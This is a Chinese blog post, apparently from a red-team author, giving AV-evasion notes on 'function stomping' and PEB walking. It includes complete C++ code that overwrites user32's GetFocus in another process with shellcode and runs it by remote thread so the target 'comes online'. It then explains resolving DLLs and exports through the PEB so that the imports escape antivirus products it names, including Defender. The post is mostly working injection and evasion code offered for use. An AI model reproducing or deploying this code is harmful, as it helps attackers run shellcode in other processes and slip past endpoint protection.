免杀笔记 ---> 函数踩踏 && PEB寻址

又鸽了一段时间了,最近在写这个武器,感兴趣的师傅们可以去看看(顺便给我点个Star)

whoami-juruo/InjectTools: 一款集成了DLL-Session0注入,APC注入,映射注入,线程劫持,函数踩踏自提权的工具 (github.com)

::累死我了,点个Star吧

那么言归正传,我们来讲今天的主题,函数踩踏 && PEB寻址

目录

[1.函数踩踏(Function Stomping)](#1.函数踩踏(Function Stomping))

1.本地获取到DLL的句柄

2.找到目标函数

3.打开目标进程的句柄

4.进行函数踩踏

5.创建远程远程线程运行shellcode

2.PEB寻址

[1.PEB && TEB](#1.PEB && TEB)

2.PEB_LDR_DATA

[3. _LIST_ENTRY | Flink && Blink](#3. _LIST_ENTRY | Flink && Blink)

[4.GetModuleHanlde --> GetModuleByPeb](#4.GetModuleHanlde --> GetModuleByPeb)

[5. GetProcAddress ---> GetFunctionAddress](#5. GetProcAddress ---> GetFunctionAddress)


1.函数踩踏(Function Stomping)

函数踩踏,又有人叫做模块践踏,其实说人话就是把别人的某个加载了的dll中的某个函数进行覆盖,让这个函数内容变成自己的shellcode,让后让别的程序上线!!!

想弄清楚函数踩踏,必须弄清一个原理!!!

我们的EXE通过在本地进程中加载相同的 DLL 并使用`GetProcAddress`获取目标函数的地址。由于虽然 DLL 在每个进程中的基地址可能不同,但是导出的函数地址通常是相同的,因此可以在本地获取目标函数的准确地址

所以我们函数踩踏的思路就很明朗了!!

  1. 先在本地获取到DLL的句柄
  2. 然后去DLL中找目标进程调用了的函数
  3. 然后OpenProcess获取对方的句柄
  4. 然后通过WriteProcessMemory来修改对方的函数内容

所以我们就可以写代码了

1.本地获取到DLL的句柄

通过下面的代码,我们就获取到了user32.dll的句柄

cpp 复制代码
HMODULE   hTargetDll   = NULL;
LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{
	cout << GetLastError() << endl;
	return;
}

2.找到目标函数

然后,我们就可以通过GetProcAddress来获取我们的目标函数GetFocus了!!

cpp 复制代码
ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{
	cout << GetLastError() << endl;
	return;
}

3.打开目标进程的句柄

然后就是打开我们目标进程的句柄了(其实OpenProcess是一个非常危险的操作),这里其中需要的到进程的API,你可以通过遍历进程去获取(写一个输入,然后遍历进程字符串比较),这里我就直接用PID了 偷懒了

cpp 复制代码
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 22160);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

4.进行函数踩踏

然后就是通过WriteProcessMemory来进行函数踩踏了

cpp 复制代码
	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
    VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL)

5.创建远程远程线程运行shellcode

这里我们创建远程线程让目标程序起线程运行我们的shellcode

但是在启之前,不知道大家有没有好奇过,为啥我不能直接指针调用这里???

::这是因为Windows的内存管理,导致你的进程不能直接执行别人进程的内存空间!!!!

cpp 复制代码
	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

解决完上面的问题之后,我们就直接调用这个函数,然后就直接能看见上线了!!!

cpp 复制代码
#include<iostream>
#include<windows.h>
using namespace std;

/* length: 891 bytes */
unsigned char buf[] = "";

void FunctionStomping()
{
	HANDLE    hThread		= INVALID_HANDLE_VALUE;
	HANDLE    hProcess		= INVALID_HANDLE_VALUE;
	HMODULE   hTargetDll	= NULL;
	PVOID     ptarget		= NULL;
	LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
	hTargetDll = GetModuleHandleW(L"user32.dll");
	if (hTargetDll == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}
	ptarget = GetProcAddress(hTargetDll, "GetFocus");
	if (ptarget == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 31124);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}
	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
	VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

}

int main()
{
	FunctionStomping();

	return 0;
}

2.PEB寻址

我们之前都是用的GetModuleHanlde + GetProcAddress ,通过这样的动态调用,我们能直接过火绒,管家,df(加密)! 但是这样其实还是有痕迹的,最终版就是通过PEB寻址!!

1.PEB && TEB

PEB(Process Environment Block) 它存储了进程级别的数据,比如进程的环境变量、命令行参数、进程的堆内存地址等信息。

TEB (Thread Environment Block)TEB存储了线程级别的数据,例如线程的堆栈地址、TLS(Thread Local Storage,线程本地存储)等信息。

其中,在32位下,在TEB的0x30偏移是PEB ,在64位下 TEB 的 0x60是TEB

2.PEB_LDR_DATA

其中,在32位下,在PEB 的0x00c偏移是PEB_LDR_DATA这个结构体

我们跟进去,就能看见这样的内容,其中重要的,就是框框中的三个双向链表!!

3. _LIST_ENTRY | Flink && Blink

我们跟进去,就能发现只有两个成员 Flink && Blink

Blink 指向上一个上一个节点,Flink指向下一个节点。

其中可以用一张图片来总结,其中在 _LDR_DATA_TABLE_ENTRY

4.GetModuleHanlde --> GetModuleByPeb

了解了上面的东西之后,我们就可以来写代码了,前面获取_LDR_DATA的代码我们就不多说了,我们直接来看看核心代码!

首先 AddressFirstNode 指的是_LDR_DATA中的InMemoryOrderModuleList的Fliink结构,AddressFristPLIST指向的是InMemoryOrderModuleList结构,那么每次我们进入循环的时候,我们都拿到下一个节点_LDR_DATA_TABLE_ENTRY的INMEMORYORDERLINKS这个结构,那么,我们通过减一,就能获取到 _LDR_DATA_TABLE_ENTRY的结构首地址,然后再进行强制转换为_LDR_DATA_TABLE_ENTRY指针,这样,我们就能拿到这个结构体里面的FullDLLName了!并且通过将这个与我们的DLL名字相比较,我们就能获取到了目标DLL的 _LDR_DATA_TABLE_ENRTY结构,然后我们直接返回这个结构的DLLBase地址就完成了GetModuleHanlde的操作了 !!!

::就是这样的,虽然有点难理解

5. GetProcAddress ---> GetFunctionAddress

在上面有了DLL的基地址之后,我们就能通过导出表找到我们对应的函数了

其余获取导出表的结构就不多讲了,重点其实就是在这个,通过遍历导出表,我们能获取到我们的函数地址对应的RVA,并通过计算,我们就能得到我们函数的地址了!!!

这样,我们就能从导入表中将GetModuleHanlde 和GetProcAddress这两个API成功抹去了!!

相关推荐
Sugobet2 个月前
.NET技巧 - 控制台应用隐藏窗口
网络安全·渗透测试·免杀·钓鱼·tryhackme·攻防演练
Sugobet2 个月前
【红队技巧】.Net免杀 绕过主流杀软
网络安全·渗透测试·.net·免杀·tryhackme·红队行动
Pluto-20033 个月前
WEB渗透免杀篇-Golang免杀
web安全·网络安全·golang·渗透测试·免杀·web渗透
Whoami@127.0.0.14 个月前
免杀笔记 ----> 动态调用
免杀·绕av·动态调用
Whoami@127.0.0.14 个月前
免杀笔记 ----> DLL注入
免杀·dll注入
Whoami@127.0.0.14 个月前
免杀笔记 ---> PE
免杀·pe·绕av
Whoami@127.0.0.14 个月前
免杀笔记 ---> C语言
c语言·免杀
Whoami@127.0.0.15 个月前
免杀笔记 ----->汇编基础
汇编·免杀
nihao6666hhhhh7 个月前
免杀对抗&Go魔改二开&Fscan扫描&FRP代理
安全·网络安全·golang·哈希算法·免杀